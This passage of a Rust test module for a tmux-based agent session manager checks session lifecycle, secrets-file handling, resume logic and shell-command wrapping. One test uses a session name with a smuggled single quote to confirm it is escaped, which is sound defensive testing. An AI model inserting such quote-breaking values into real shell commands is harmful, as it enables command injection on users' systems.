        let wrapped = wrap_command("echo test", &id, "name'inject", None, None, "/tmp");
        assert!(!wrapped.contains("name'inject"));
        assert!(wrapped.contains("name'\\''inject"));
    }

    #[tokio::test]
    async fn test_create_session_rejects_invalid_name() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            name: "bad name with spaces".into(),
            workdir: Some("/tmp".into()),
            command: Some("echo".into()),
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let err = mgr.create_session(req).await.unwrap_err().to_string();
        assert!(err.contains("lowercase"), "got: {err}");
    }

    #[tokio::test]
    async fn test_create_session_default_workdir() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            name: "defaults-test".into(),
            workdir: None,
            command: Some("echo test".into()),
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let session = mgr.create_session(req).await.unwrap();
        assert!(!session.workdir.is_empty());
    }

    #[tokio::test]
    async fn test_create_session_calls_setup_logging_when_capture_enabled() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let mgr = mgr.with_capture_session_output(true);
        let _session = mgr.create_session(make_req("test")).await.unwrap();

        let calls = backend.calls.lock().unwrap();
        assert!(
            calls.iter().any(|c| c.starts_with("setup_logging:")),
            "Expected setup_logging call, got: {calls:?}"
        );
        drop(calls);
    }

    #[tokio::test]
    async fn test_create_session_explicit_name() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            name: "custom-name".into(),
            ..make_req("test")
        };
        let session = mgr.create_session(req).await.unwrap();
        assert_eq!(session.name, "custom-name");
    }

    #[tokio::test]
    async fn test_create_session_workdir_not_found() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            workdir: Some("/nonexistent/path/that/does/not/exist".into()),
            ..make_req("test")
        };
        let result = mgr.create_session(req).await;
        let err = result.unwrap_err().to_string();
        assert!(err.contains("does not exist"), "got: {err}");
    }

    #[tokio::test]
    async fn test_create_session_workdir_is_file() {
        let tmp = tempfile::NamedTempFile::new().unwrap();
        let path = tmp.path().to_str().unwrap().to_owned();
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            workdir: Some(path),
            ..make_req("test")
        };
        let result = mgr.create_session(req).await;
        let err = result.unwrap_err().to_string();
        assert!(err.contains("not a directory"), "got: {err}");
    }

    #[tokio::test]
    async fn test_create_session_backend_failure() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_create_error()).await;
        let result = mgr.create_session(make_req("test")).await;
        assert!(result.is_err());

        // Session should be marked Dead in store
        let sessions = mgr.list_sessions().await.unwrap();
        assert_eq!(sessions.len(), 1);
        assert_eq!(sessions[0].status, SessionStatus::Stopped);
    }

    #[tokio::test]
    async fn test_create_session_backend_failure_cleans_up_secrets_file() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_create_error()).await;
        // Pre-populate a secret
        mgr.store()
            .set_secret("CLEANUP_TOKEN", "val123")
            .await
            .unwrap();
        let mut req = make_req("cleanup-test");
        req.secrets = Some(vec!["CLEANUP_TOKEN".into()]);
        let result = mgr.create_session(req).await;
        assert!(result.is_err());

        // The secrets file should have been cleaned up
        let data_dir = mgr.store().data_dir();
        let secrets_dir = format!("{data_dir}/secrets");
        if std::fs::exists(&secrets_dir).unwrap_or(false) {
            let entries: Vec<_> = std::fs::read_dir(&secrets_dir)
                .unwrap()
                .filter_map(std::result::Result::ok)
                .collect();
            assert!(
                entries.is_empty(),
                "secrets file should have been cleaned up, found: {entries:?}"
            );
        }
    }

    #[test]
    fn test_write_secrets_file_creates_secrets_subdirectory() {
        let tmpdir = tempfile::tempdir().unwrap();
        let data_dir = tmpdir.path().to_str().unwrap();
        let id = uuid::Uuid::new_v4();
        let mut secrets = HashMap::new();
        secrets.insert("KEY".to_owned(), "val".to_owned());
        let path = write_secrets_file(&id, &secrets, data_dir)
            .unwrap()
            .unwrap();
        // File should be under data_dir/secrets/
        assert!(path.starts_with(&format!("{data_dir}/secrets/")));
        assert!(std::path::Path::new(&path).exists());
    }

    #[tokio::test]
    async fn test_create_session_duplicate_name_rejected() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        mgr.create_session(make_req("dupe")).await.unwrap();
        let err = mgr.create_session(make_req("dupe")).await.unwrap_err();
        assert!(
            err.to_string().contains("already active"),
            "expected duplicate name error, got: {err}"
        );
    }

    #[tokio::test]
    async fn test_create_session_reuse_name_after_stop() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        mgr.create_session(make_req("reuse")).await.unwrap();
        mgr.stop_session("reuse", false).await.unwrap();
        // Should succeed — the old session is stopped
        mgr.create_session(make_req("reuse")).await.unwrap();
    }

    #[tokio::test]
    async fn test_get_session_alive() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Active);
    }

    #[tokio::test]
    async fn test_get_session_dead_lazy_update() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);
    }

    #[tokio::test]
    async fn test_get_session_idle_with_dead_backend_transitions_to_lost() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        // Manually set session to Idle (simulates watchdog marking it idle before reboot)
        mgr.store()
            .update_session_status(&session.id.to_string(), SessionStatus::Idle)
            .await
            .unwrap();

        // When fetched, check_and_mark_stale should detect dead backend and mark Lost
        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);
    }

    #[tokio::test]
    async fn test_get_session_idle_with_alive_backend_stays_idle() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(true)).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        mgr.store()
            .update_session_status(&session.id.to_string(), SessionStatus::Idle)
            .await
            .unwrap();

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Idle);
    }

    // -- Ready-death classification (the #94 known limitation, fixed here) --
    //
    // Before this fix, `check_and_mark_stale` only swept Active/Idle sessions, so a
    // Ready session (agent exited, fallback shell lingering) whose tmux backend later
    // died was never reclassified — it stayed `Ready` forever (with the default
    // `ready_ttl_secs = 0`, nothing else would ever touch it). The fix runs Ready
    // sessions through the exact same marker-based resolution as Active/Idle.

    #[tokio::test]
    async fn test_get_session_ready_with_dead_backend_and_marker_transitions_to_stopped() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("ready-marker")).await.unwrap();
        let id = session.id.to_string();

        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();
        let data_dir = mgr.store().data_dir().to_owned();
        let code_path = exit_code_marker_path(&data_dir, &id);
        std::fs::create_dir_all(code_path.parent().unwrap()).unwrap();
        std::fs::write(&code_path, "9").unwrap();

        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Stopped);
        assert_eq!(fetched.exit_code, Some(9));
    }

    #[tokio::test]
    async fn test_get_session_ready_with_dead_backend_no_marker_transitions_to_lost() {
        // No wrapper ever ran for this session id (e.g. it reached Ready via the
        // text-scrape fallback used for adopted external tmux sessions), so no exit
        // marker exists. A dead backend with no marker resolves to Lost, same as the
        // Active/Idle case.
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr
            .create_session(make_req("ready-no-marker"))
            .await
            .unwrap();
        let id = session.id.to_string();

        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();

        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);
        assert_eq!(fetched.exit_code, None);
    }

    #[tokio::test]
    async fn test_get_session_ready_with_alive_backend_stays_ready() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(true)).await;
        let session = mgr.create_session(make_req("ready-alive")).await.unwrap();
        let id = session.id.to_string();

        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();

        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Ready);
    }

    #[tokio::test]
    async fn test_list_sessions_ready_with_dead_backend_transitions_to_lost() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("ready-list")).await.unwrap();
        let id = session.id.to_string();

        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();

        let sessions = mgr.list_sessions().await.unwrap();
        let listed = sessions.iter().find(|s| s.id.to_string() == id).unwrap();
        assert_eq!(listed.status, SessionStatus::Lost);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_resolves_dead_ready_with_marker_to_stopped_not_resumed() {
        // A Ready session must never be auto-"resumed" at startup (that would recreate
        // the backend and re-launch the original command, which makes no sense for a
        // session whose agent already finished) — it must resolve through the same
        // marker-based logic `resolve_dead_backend_session` applies elsewhere.
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr
            .create_session(make_req("ready-resume-marker"))
            .await
            .unwrap();
        let id = session.id.to_string();
        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();
        let data_dir = mgr.store().data_dir().to_owned();
        let code_path = exit_code_marker_path(&data_dir, &id);
        std::fs::create_dir_all(code_path.parent().unwrap()).unwrap();
        std::fs::write(&code_path, "3").unwrap();

        *backend.alive.lock().unwrap() = false;
        backend.calls.lock().unwrap().clear();
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0, "a Ready session must never be auto-resumed");

        // Assert against the raw store, not `mgr.get_session` — the latter would
        // mask a `resume_lost_sessions` gap by re-running its own lazy staleness
        // check. This proves `resume_lost_sessions` itself resolved the session
        // eagerly at startup, instead of leaving it stale as `Ready` in the DB
        // until the next `get_session`/`list_sessions` call happens to touch it.
        let fetched = mgr.store().get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Stopped);
        assert_eq!(fetched.exit_code, Some(3));

        let calls = backend.calls.lock().unwrap();
        assert!(!calls.iter().any(|c| c.starts_with("create:")));
        drop(calls);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_resolves_dead_ready_without_marker_to_lost() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr
            .create_session(make_req("ready-resume-no-marker"))
            .await
            .unwrap();
        let id = session.id.to_string();
        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();

        *backend.alive.lock().unwrap() = false;
        backend.calls.lock().unwrap().clear();
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0);

        // Raw store fetch — see comment above on why `get_session` isn't used here.
        let fetched = mgr.store().get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);

        let calls = backend.calls.lock().unwrap();
        assert!(!calls.iter().any(|c| c.starts_with("create:")));
        drop(calls);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_skips_alive_ready_sessions() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr
            .create_session(make_req("ready-resume-alive"))
            .await
            .unwrap();
        let id = session.id.to_string();
        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();

        // Backend still alive — resume_lost_sessions must leave it untouched.
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0);

        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Ready);
        drop(backend);
    }

    #[tokio::test]
    async fn test_list_sessions_idle_with_dead_backend_transitions_to_lost() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        // Manually set session to Idle
        mgr.store()
            .update_session_status(&session.id.to_string(), SessionStatus::Idle)
            .await
            .unwrap();

        let sessions = mgr.list_sessions().await.unwrap();
        assert_eq!(sessions[0].status, SessionStatus::Lost);
    }

    #[tokio::test]
    async fn test_get_session_not_found() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let result = mgr.get_session("nonexistent").await.unwrap();
        assert!(result.is_none());
    }

    #[tokio::test]
    async fn test_list_sessions_with_mixed_status() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let s1 = mgr.create_session(make_req("first")).await.unwrap();

        let sessions = mgr.list_sessions().await.unwrap();
        assert_eq!(sessions.len(), 1);
        // is_alive returns false, so Running → Stale
        assert_eq!(sessions[0].id, s1.id);
        assert_eq!(sessions[0].status, SessionStatus::Lost);
    }

    #[tokio::test]
    async fn test_stop_session() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        mgr.stop_session(&session.id.to_string(), false)
            .await
            .unwrap();

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Stopped);
    }

    #[tokio::test]
    async fn test_stop_session_with_purge() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();
        let id = session.id.to_string();

        mgr.stop_session(&id, true).await.unwrap();

        let fetched = mgr.get_session(&id).await.unwrap();
        assert!(fetched.is_none());
    }

    #[tokio::test]
    async fn test_stop_session_not_found() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let result = mgr.stop_session("nonexistent", false).await;
        assert!(result.is_err());
        assert!(
            result
                .unwrap_err()
                .to_string()
                .contains("session not found")
        );
    }

    #[tokio::test]
    async fn test_stop_session_backend_error_recovers_by_name() {
        // Kill by stale $N ID fails, but retry by session name succeeds
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_kill_error()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        let result = mgr.stop_session(&session.id.to_string(), false).await;
        assert!(result.is_ok(), "stop should succeed via name fallback");
    }

    #[tokio::test]
    async fn test_capture_output() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let output = mgr.capture_output("some-id", "my-session", 100);
        assert_eq!(output, "test output");
    }

    #[tokio::test]
    async fn test_capture_output_falls_back_to_log() {
        let backend = MockBackend::new();
        *backend.captured_output.lock().unwrap() = String::new();
        let tmpdir = tempfile::tempdir().unwrap();
        let tmpdir = Box::leak(Box::new(tmpdir));
        let data_dir = tmpdir.path().to_str().unwrap();
        let store = Store::new(data_dir).await.unwrap();
        store.migrate().await.unwrap();

        // Create a log file
        let log_dir = format!("{data_dir}/logs");
        std::fs::create_dir_all(&log_dir).unwrap();
        std::fs::write(
            format!("{log_dir}/test-id.log"),
            "line 1\nline 2\nline 3\nline 4\nline 5\n",
        )
        .unwrap();

        // Verify all FailCapture backend methods for coverage
        let fc = FailCapture;
        assert!(fc.create_session("n", "d", "c").is_ok());
        assert!(fc.kill_session("n").is_ok());
        assert!(fc.is_alive("n").unwrap());
        assert!(fc.capture_output("n", 10).is_err());
        assert!(fc.send_input("n", "t").is_ok());
        assert!(fc.setup_logging("n", "p").is_ok());

        let mgr = SessionManager::new(Arc::new(FailCapture), store, None);
        let output = mgr.capture_output("test-id", "whatever", 3);
        assert_eq!(output, "line 3\nline 4\nline 5");
    }

    #[tokio::test]
    async fn test_read_log_tail_missing_file() {
        let tmpdir = tempfile::tempdir().unwrap();
        let tmpdir = Box::leak(Box::new(tmpdir));
        let store = Store::new(tmpdir.path().to_str().unwrap()).await.unwrap();
        store.migrate().await.unwrap();
        let mgr = SessionManager::new(
            Arc::new(MockBackend::new()) as Arc<dyn Backend>,
            store,
            None,
        );
        // read_log_tail for nonexistent file returns empty string
        let output = mgr.read_log_tail("nonexistent", 10);
        assert!(output.is_empty());
    }

    #[tokio::test]
    async fn test_send_input() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        mgr.send_input("my-session", "hello").unwrap();

        let calls = backend.calls.lock().unwrap();
        assert!(
            calls
                .iter()
                .any(|c| c.contains("send_input:my-session:hello"))
        );
        drop(calls);
    }

    #[tokio::test]
    async fn test_create_session_store_insert_failure() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        // Drop the table to make insert_session fail
        sqlx::query("DROP TABLE sessions")
            .execute(&pool)
            .await
            .unwrap();
        let result = mgr.create_session(make_req("test")).await;
        assert!(result.is_err());
    }

    #[tokio::test]
    async fn test_list_sessions_store_failure() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        sqlx::query("DROP TABLE sessions")
            .execute(&pool)
            .await
            .unwrap();
        let result = mgr.list_sessions().await;
        assert!(result.is_err());
    }

    #[tokio::test]
    async fn test_get_session_store_failure() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        sqlx::query("DROP TABLE sessions")
            .execute(&pool)
            .await
            .unwrap();
        let result = mgr.get_session("test").await;
        assert!(result.is_err());
    }

    #[tokio::test]
    async fn test_stop_session_store_failure() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        sqlx::query("DROP TABLE sessions")
            .execute(&pool)
            .await
            .unwrap();
        let result = mgr.stop_session("test", false).await;
        assert!(result.is_err());
    }

    #[test]
    fn test_validate_workdir_ok() {
        assert!(validate_workdir("/tmp").is_ok());
    }

    #[test]
    fn test_validate_workdir_missing() {
        let err = validate_workdir("/nonexistent/path")
            .unwrap_err()
            .to_string();
        assert!(err.contains("does not exist"), "got: {err}");
    }

    #[test]
    fn test_validate_workdir_is_file() {
        let tmp = tempfile::NamedTempFile::new().unwrap();
        let path = tmp.path().to_str().unwrap();
        let err = validate_workdir(path).unwrap_err().to_string();
        assert!(err.contains("not a directory"), "got: {err}");
    }

    #[tokio::test]
    async fn test_resume_stale_session() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        // get_session marks it Stale since is_alive returns false
        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);

        // Now resume it — backend session is still alive, so it should skip create_session
        *backend.alive.lock().unwrap() = true;
        backend.calls.lock().unwrap().clear();
        let resumed = mgr.resume_session(&session.id.to_string()).await.unwrap();
        assert_eq!(resumed.status, SessionStatus::Active);

        // Verify create_session was NOT called (backend session already exists)
        let calls: Vec<_> = backend.calls.lock().unwrap().clone();
        assert!(
            !calls.iter().any(|c| c.starts_with("create:")),
            "should not recreate backend session when alive; calls: {calls:?}"
        );
    }

    #[tokio::test]
    async fn test_resume_stale_session_recreates_when_backend_dead() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        // get_session marks it Stale since is_alive returns false
        let _ = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();

        // Resume while backend session is dead — should recreate
        backend.calls.lock().unwrap().clear();
        let resumed = mgr.resume_session(&session.id.to_string()).await.unwrap();
        assert_eq!(resumed.status, SessionStatus::Active);

        // Verify create_session WAS called
        let calls: Vec<_> = backend.calls.lock().unwrap().clone();
        assert!(
            calls.iter().any(|c| c.starts_with("create:")),
            "should recreate backend session when dead; calls: {calls:?}"
        );
    }

    #[tokio::test]
    async fn test_resume_non_stale_session_fails() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        // Session is Active, not Lost/Ready
        let result = mgr.resume_session(&session.id.to_string()).await;
        assert!(result.is_err());
        assert!(
            result
                .unwrap_err()
                .to_string()
                .contains("cannot be resumed")
        );
    }

    #[tokio::test]
    async fn test_resume_nonexistent_session() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let result = mgr.resume_session("nonexistent").await;
        assert!(result.is_err());
        assert!(result.unwrap_err().to_string().contains("not found"));
    }

    #[tokio::test]
    async fn test_resume_name_collision_rejected() {
        let (mgr, _, pool) = test_manager(MockBackend::new().with_alive(false)).await;
        // Create "dup", then mark it lost so it's resumable
        let old = mgr.create_session(make_req("dup")).await.unwrap();
        let old_id = old.id.to_string();
        sqlx::query("UPDATE sessions SET status = 'lost' WHERE id = ?")
            .bind(&old_id)
            .execute(&pool)
            .await
            .unwrap();
        // Create a new active "dup"
        mgr.create_session(make_req("dup")).await.unwrap();
        // Resuming the old lost one should fail — name collision
        let err = mgr.resume_session(&old_id).await.unwrap_err();
        assert!(err.to_string().contains("already active"), "{err}");
    }

    #[tokio::test]
    async fn test_resume_backend_failure() {
        let backend = MockBackend::new().with_alive(false);
        let (mgr, backend_ref, _pool) = test_manager(backend).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();

        let id = session.id.to_string();

        // Mark stale
        let _ = mgr.get_session(&id).await.unwrap();

        // Make create_session fail for resume
        *backend_ref.create_result.lock().unwrap() = Err(anyhow!("backend not found"));
        let result = mgr.resume_session(&id).await;
        assert!(result.is_err());
    }

    #[tokio::test]
    async fn test_resume_ready_session_does_not_self_collide() {
        let (mgr, _, pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("ready-test")).await.unwrap();
        let id = session.id.to_string();

        // Mark session as Ready (simulates a session whose agent finished)
        sqlx::query("UPDATE sessions SET status = 'ready' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();

        // Resuming a Ready session should succeed — it must not collide with itself
        let resumed = mgr.resume_session(&id).await.unwrap();
        assert_eq!(resumed.status, SessionStatus::Active);
    }

    #[test]
    fn test_wrap_command_basic() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("echo hello", &id, "test-session", None, None, "/tmp");
        assert!(cmd.contains("-l -c"));
        assert!(cmd.contains("echo hello"));
        assert!(cmd.contains("[pulpo] Agent exited (session: test-session)"));
        assert!(cmd.contains("Run: pulpo resume test-session"));
        // Fallback shell uses $SHELL (or /bin/bash), run as a login shell — NOT exec'd,
        // so the wrapper regains control afterward to write the `.clean` marker.
        assert!(cmd.contains(" -l; : > "));
        assert!(!cmd.contains("exec "));
        // Exit-code marker: `$?` captured immediately, then written to `{id}.code`.
        assert!(cmd.contains("ec=$?"));
        assert!(cmd.contains(&format!("{id}.code")));
        assert!(cmd.contains(&format!("{id}.clean")));
        assert!(cmd.contains(&format!("PULPO_SESSION_ID={id}")));
        assert!(cmd.contains("PULPO_SESSION_NAME=test-session"));
    }

    #[test]
    fn test_wrap_command_single_quotes() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command(
            "claude -p 'Fix the bug'",
            &id,
            "my-task",
            None,
            None,
            "/tmp",
        );
        assert!(cmd.contains("-l -c"));
        // Single quotes should be properly escaped
        assert!(cmd.contains("claude -p"));
        assert!(cmd.contains("Fix the bug"));
        assert!(cmd.contains("PULPO_SESSION_ID="));
        assert!(cmd.contains("PULPO_SESSION_NAME=my-task"));
        assert!(cmd.contains("(session: my-task)"));
        assert!(cmd.contains("Run: pulpo resume my-task"));
    }

    #[test]
    fn test_wrap_command_quoting_is_valid_shell() {
        // Verify the wrapped command has balanced single quotes so it doesn't
        // cause "unmatched '" errors when tmux passes it to the shell.
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("claude", &id, "test-session", None, None, "/tmp");

        // Count single quotes outside of escaped sequences (\')
        // The '\'' pattern (end-quote, escaped-quote, start-quote) is valid.
        // After removing all '\'' patterns, remaining quotes must be balanced.
        let simplified = cmd.replace("'\\''", "X");
        let quote_count = simplified.chars().filter(|&c| c == '\'').count();
        assert_eq!(
            quote_count % 2,
            0,
            "unbalanced single quotes in wrapped command: {cmd}"
        );
    }

    #[test]
    fn test_wrap_command_executes_without_parse_error() {
        // Run the entire wrapped command through `sh -n` (parse-only) to catch
        // quoting bugs. The wrapped command is a complete shell invocation like
        // `/bin/zsh -l -c '...'`, so we parse it as a whole.
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("true", &id, "test-session", None, None, "/tmp");

        let output = std::process::Command::new("sh")
            .args(["-n", "-c", &cmd])
            .output()
            .expect("failed to spawn shell");

        let stderr = String::from_utf8_lossy(&output.stderr);
        assert!(
            output.status.success(),
            "wrapped command has shell syntax errors:\n  command: {cmd}\n  stderr: {stderr}"
        );
    }

    #[test]
    fn test_wrap_command_with_quotes_executes_without_parse_error() {
        // Same test but with a command containing single quotes (common with claude -p).
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command(
            "echo 'hello world'",
            &id,
            "quoted-session",
            None,
            None,
            "/tmp",
        );

        let output = std::process::Command::new("sh")
            .args(["-n", "-c", &cmd])
            .output()
            .expect("failed to spawn shell");

        let stderr = String::from_utf8_lossy(&output.stderr);
        assert!(
            output.status.success(),
            "wrapped command with quotes has shell syntax errors:\n  command: {cmd}\n  stderr: {stderr}"
        );
    }

    #[test]
    fn test_is_shell_command() {
        assert!(is_shell_command("bash"));
        assert!(is_shell_command("zsh"));
        assert!(is_shell_command("sh"));
        assert!(is_shell_command("fish"));
        assert!(is_shell_command("nu"));
        assert!(is_shell_command("/bin/bash"));
        assert!(is_shell_command("/usr/bin/zsh"));
        assert!(!is_shell_command("claude"));
        assert!(!is_shell_command("claude -p 'fix'"));
        assert!(!is_shell_command("npm run lint"));
        assert!(!is_shell_command("bash -c 'echo hello'"));
    }

    #[test]
    fn test_wrap_command_shell_no_exit_marker() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("bash", &id, "my-shell", None, None, "/tmp");
        // Bare-shell spawns are NOT exec'd — the wrapper must regain control to
        // write the `.clean` marker after the interactive shell exits.
        assert!(cmd.contains("bash;"));
        assert!(!cmd.contains("exec bash"));
        assert!(cmd.contains(&format!("PULPO_SESSION_ID={id}")));
        assert!(cmd.contains("PULPO_SESSION_NAME=my-shell"));
        // Shell sessions should NOT have the agent-exit hint, nor an exit-code marker
        // (only `.clean` is written on this path).
        assert!(!cmd.contains("[pulpo] Agent exited"));
        assert!(!cmd.contains("Run: pulpo resume"));
        assert!(!cmd.contains(&format!("{id}.code")));
        assert!(cmd.contains(&format!("{id}.clean")));
    }

    #[test]
    fn test_wrap_command_shell_with_path() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("/usr/bin/zsh", &id, "zsh-session", None, None, "/tmp");
        assert!(cmd.contains("/usr/bin/zsh;"));
        assert!(!cmd.contains("exec /usr/bin/zsh"));
        assert!(!cmd.contains("[pulpo] Agent exited"));
    }

    #[test]
    fn test_wrap_command_with_secrets_file() {
        let id = uuid::Uuid::new_v4();
        let secrets_path = "/tmp/pulpo-secrets-test.sh";
        let cmd = wrap_command("echo hello", &id, "test", Some(secrets_path), None, "/tmp");
        // Command should source the secrets file and delete it — NOT contain secret values
        assert!(cmd.contains(". /tmp/pulpo-secrets-test.sh && rm -f /tmp/pulpo-secrets-test.sh"));
        assert!(cmd.contains("echo hello"));
        // Secret values should NOT appear in the command string
        assert!(!cmd.contains("export GITHUB_TOKEN"));
    }

    #[test]
    fn test_wrap_command_shell_with_secrets_file() {
        let id = uuid::Uuid::new_v4();
        let secrets_path = "/tmp/pulpo-secrets-shell.sh";
        let cmd = wrap_command("bash", &id, "my-shell", Some(secrets_path), None, "/tmp");
        assert!(cmd.contains(". /tmp/pulpo-secrets-shell.sh && rm -f /tmp/pulpo-secrets-shell.sh"));
        assert!(cmd.contains("bash;"));
        assert!(!cmd.contains("exec bash"));
    }

    #[test]
    fn test_wrap_command_no_secrets_file() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("echo hello", &id, "test", None, None, "/tmp");
        // Without secrets, no source/rm prefix should appear
        assert!(!cmd.contains(". /tmp/pulpo-secrets"));
        assert!(!cmd.contains("rm -f"));
        assert!(cmd.contains("echo hello"));
    }

    #[test]
    fn test_wrap_command_data_dir_with_spaces_is_escaped_and_parses() {
        // data_dir may contain spaces (e.g. "/Users/dario/My Documents/.pulpo") — the
        // exit-marker directory must be quoted defensively, just like session names.
        let id = uuid::Uuid::new_v4();
        let data_dir = "/tmp/pulpo test dir";
        let cmd = wrap_command("echo hi", &id, "test", None, None, data_dir);
        assert!(cmd.contains(&format!("{id}.code")));
        assert!(cmd.contains(&format!("{id}.clean")));
        assert!(cmd.contains("pulpo test dir"));

        // The whole wrapped command must still parse as valid shell despite the space.
        let output = std::process::Command::new("sh")
            .args(["-n", "-c", &cmd])
            .output()
            .expect("failed to spawn shell");
        assert!(
            output.status.success(),
            "wrapped command with spaced data_dir has shell syntax errors:\n  command: {cmd}\n  stderr: {}",
            String::from_utf8_lossy(&output.stderr)
        );
    }

    #[test]
    fn test_wrap_command_term_program() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("claude", &id, "test-session", None, Some("ghostty"), "/tmp");
        assert!(cmd.contains("export TERM_PROGRAM='ghostty'"));
    }

    #[test]
    fn test_wrap_command_no_term_program() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("claude", &id, "test-session", None, None, "/tmp");
